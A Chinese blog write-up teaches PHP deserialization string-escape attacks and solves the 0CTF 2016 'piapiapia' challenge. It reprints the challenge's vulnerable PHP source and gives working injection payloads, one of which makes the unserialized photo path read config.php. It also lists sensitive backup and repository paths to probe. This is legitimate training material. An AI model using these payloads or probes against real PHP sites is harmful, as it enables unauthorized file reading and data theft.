0%

php反序列化尾部字符串逃逸学习

发现最近自己刷题比较多,但是缺少总结,感觉这样很有可能刷了一堆题结果知识点都没记住,效率太低。于是决定每天少刷题多总结。

今天总结一下php反序列化的一个问题。来源是2016年0CTF的一道题。

0x00 首先看一下什么是反序列化

php反序列化,简言之就是将转换为字节序列的对象数据恢复为对象的过程。具体基础知识不再多讲,具体可以参考我的这篇文章https://su29029.github.io/2020/04/04/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%80%BB%E7%BB%93.html

0x01 php反序列化尾部字符串逃逸

我们看下面的代码:

1
2
3
4
5
6
7
8
9
<?php
$username = "su29029";
$password = "12345";
$user = array($username, $password);
$serial = serialize($user);
var_dump($serial);
echo "\n";
var_dump(unserialize($serial));
?>

执行结果如下:

1
2
3
4
5
6
7
8
string(40) "a:2:{i:0;s:7:"su29029";i:1;s:5:"12345";}"

array(2) {
[0]=>
string(7) "su29029"
[1]=>
string(5) "12345"
}

反序列化正常返回了一个array对象。如果我们此时在;}后面再加一些内容,例如:

1
2
3
4
<?php
$a = 'a:2:{i:0;s:7:"su29029";i:1;s:5:"12345";}s:5:"admin";s:5:"hhh";}';
var_dump(unserialize($a));
?>

执行结果如下:

1
2
3
4
5
6
array(2) {
[0]=>
string(7) "su29029"
[1]=>
string(5) "12345"
}

我们发现;}后面的内容被忽略掉了。php底层在作反序列化的时候会根据;来判断字段的分割,以}作为结尾(字符串内的除外),并且会根据长度判断内容。故上面那个例子中}后的内容被忽略掉了。

如果我们设置了一个非正常长度的字节序列呢?例如我们把上面例子中代表字符串长度的数字改一下,会发生什么呢?

1
2
3
4
<?php
$a = 'a:2:{i:0;s:9:"su29029";i:1;s:5:"12345";}s:5:"admin";s:5:"hhh";}';
var_dump(unserialize($a));
?>

执行结果:

1
2
PHP Notice:  unserialize(): Error at offset 19 of 63 bytes in /home/php/4.php on line 3
bool(false)

我们发现报错了,而且只要标记的字符串长度不等于字符串的真实长度就会报错。

ok,有了以上前置内容,我们来看一个例子,我们需要想办法拿到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include "flag.php";
function filter($string){
return str_replace('m','aa',$string);
}
$username=$argv[1];//read from cmd line e.g. php 1.php "abc"
$password="12345";
$user = array($username, $password);
$serial = serialize($user);
var_dump($serial);
$filt = filter($serial);
var_dump($filt);
var_dump(unserialize($filt));
$res = unserialize($filt);
if ($res[1] === "000000"){ //$res[1] is password.
echo $flag;
} else {
echo "failed.";
}
?>

我们先随便输入一个字符串:

1
php 1.php "su29029"

执行结果:

1
2
3
4
5
6
7
8
9
string(40) "a:2:{i:0;s:7:"su29029";i:1;s:5:"12345";}"
string(40) "a:2:{i:0;s:7:"su29029";i:1;s:5:"12345";}"
array(2) {
[0]=>
string(7) "su29029"
[1]=>
string(5) "12345"
}
failed.

我们发现反序列化成功。如果我们输入一个会被替换的字符串则会报错:

1
php 1.php "su29029mmmm"

执行结果:

1
2
3
4
5
6
7
string(45) "a:2:{i:0;s:11:"su29029mmmm";i:1;s:5:"12345";}"
string(49) "a:2:{i:0;s:11:"su29029aaaaaaaa";i:1;s:5:"12345";}"
PHP Notice: unserialize(): Error at offset 26 of 49 bytes in /home/php/1.php on line 13
bool(false)
PHP Notice: unserialize(): Error at offset 26 of 49 bytes in /home/php/1.php on line 14
PHP Notice: Trying to access array offset on value of type bool in /home/php/1.php on line 15
failed.

我们注意到一个细节,被替换后的是序列化后的字符串,替换后字符串边长,但是字符串长度没有变化,s值依然是11,所以报错了。

我们现在换个输入,发现了一些特殊的结果:

1
php 1.php "su29029mmm\";}"

执行结果有了一些变化:

1
2
3
4
5
6
7
8
9
string(47) "a:2:{i:0;s:13:"su29029mmm";}";i:1;s:5:"12345";}"
string(50) "a:2:{i:0;s:13:"su29029aaaaaa";}";i:1;s:5:"12345";}"
PHP Notice: unserialize(): Unexpected end of serialized data in /home/php/1.php on line 13
PHP Notice: unserialize(): Error at offset 30 of 50 bytes in /home/php/1.php on line 13
bool(false)
PHP Notice: unserialize(): Unexpected end of serialized data in /home/php/1.php on line 14
PHP Notice: unserialize(): Error at offset 30 of 50 bytes in /home/php/1.php on line 14
PHP Notice: Trying to access array offset on value of type bool in /home/php/1.php on line 15
failed.

我们发现多了PHP Notice: unserialize(): Unexpected end of serialized data in /home/php/1.php on line 13,这是为什么呢?我们看替换后的序列化前后的字符串,su29029mmm";}的长度是13位,而被替换后的字符串su29029aaaaaa也是13位,后面的";}将字符串闭合了,导致后面的内容失效,反序列化提前结束,而前面的a:2却表明数组长度为2,所以提示“非预期的序列化数据结尾”。

那么这个时候我们就可以想一些“歪招”了,我们构造如下payload:

1
php 1.php "su29029mmmmmmmmmmmmmmmmmmmm\";i:1;s:6:\"000000\";}"

我们惊喜的发现成功输出了flag:

1
2
3
4
5
6
7
8
9
string(81) "a:2:{i:0;s:47:"su29029mmmmmmmmmmmmmmmmmmmm";i:1;s:6:"000000";}";i:1;s:5:"12345";}"
string(101) "a:2:{i:0;s:47:"su29029aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";i:1;s:6:"000000";}";i:1;s:5:"12345";}"
array(2) {
[0]=>
string(47) "su29029aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
[1]=>
string(6) "000000"
}
flag{123456}

根据上一个输入,我们发现原理相同,通过";}闭合序列化字符串,并且巧妙利用替换操作使得替换后的"前的字符串长度刚好等于替换前的全部字符串长度,从而成功的让password变成了000000

0x02 [0CTF 2016]piapiapia 解题思路

首先拿道题是个登录界面,随意输入一下发现无果,f12发现也没有提示,故尝试一些敏感文件。后来发现存在源码泄露www.zip

这里简单总结一些敏感目录,拿到题发现没有提示的时候可以尝试访问一下,说不定有意外收获。

/www.zip /html.zip /.git/ /.svn/ /.index.php.swp /index.php.bak /robots.txt /index.phps……

当然还有一些不常见的,一般都会给提示[只是一般…这个不好说]

拿到www.zip发现了5个文件,逐一查看:

​ index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
require_once('class.php');
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];

if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');

if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');

if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
?>
<html>
......[省略html代码]
</html>
<?php
}
?>

​ class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<?php
require('config.php');

class user extends mysql{
private $table = 'users';

public function is_exists($username) {
$username = parent::filter($username);

$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}

class mysql {
private $link = null;

public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");

return $this->link;
}

public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}

public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}

public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}

public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);

​ register.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];

if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');

if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
<html>
......[省略html代码]
</html>
<?php
}
?>

​ update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
<html>
......[省略html代码]
</html>
<?php
}
?>

​ profile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
<html>
......[省略html代码]
</html>
<?php
}
?>

​ config.php

1
2
3
4
5
6
7
8
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>

发现config.php中有我们想要的flag.发现网页还有个注册接口,随便注册一个账号登陆上去,随后发现一个文件上传接口,这里可以首先考虑到上传一个木马,不过发现尽管没有过滤,而且我们也知道上传目录,但是因为文件名被md5加密,故无法使用蚁剑连接。

这个时候仔细审计一下代码,发现profile.php中有一个file_get_contents函数,同时发现了序列化和反序列化,序列化内容可控,这个时候可以考虑通过反序列化将$profile中的photo属性改变为config.php

这个时候目标明确了,仔细审计update.php代码,发现有几个过滤,先是对输入的内容格式进行正则匹配,随后将输入的前三项内容和第四项内容的上传路径进行序列化,随后传给update_profile函数进行处理,跟进update_profile发现对$username$profile进行过滤,跟进filter函数发现会将'\\替换成_,并将'select' 'insert' 'update' 'delete' 'where'替换为'hacker'。这个时候我们发现了重点:filter函数会将where替换成hacker,替换后字符串的长度发生了改变,而序列化字符串中字符串长度未改变,这个时候我们就可以通过反序列化字符串逃逸来实现将file_get_contents中的内容替换为config.php

但是我们需要先绕过第一个正则匹配,这个时候我们需要一个前置知识:

1
2
3
4
5
6
7
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) = null
preg_match(pattern,Array()) = false
strcmp(Array(),"some_string") = null
strpos(Array(),"some_string") = null
strlen(Array()) = null

所以我们只需要将nickname替换成数组即可。

我们构造如下payload:

1
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

解释一下这个payload的构造原理,nickname[]被反序列化之后会变成a:1:{i:0;s:204:"...";},所以where后面的";}用来闭合被替换后的序列化字符串中的第三个数组部分,同时由于";}s:5:"photo";s:10:"config.php";}长度为34,我们需要将这34个字符挤出profile数组的第三位(我们为了绕过正则而构造的数组位),所以利用filter中where替换成hacker会多出1位,构造34个where,从而反序列化时成功将第三位闭合。

最终执行效果:

成功获得flag。

0x03 总结

web是个无底洞..知识点太多太杂了,所以还是要多总结,这样学习效率才高。还是太菜了,慢慢加油叭。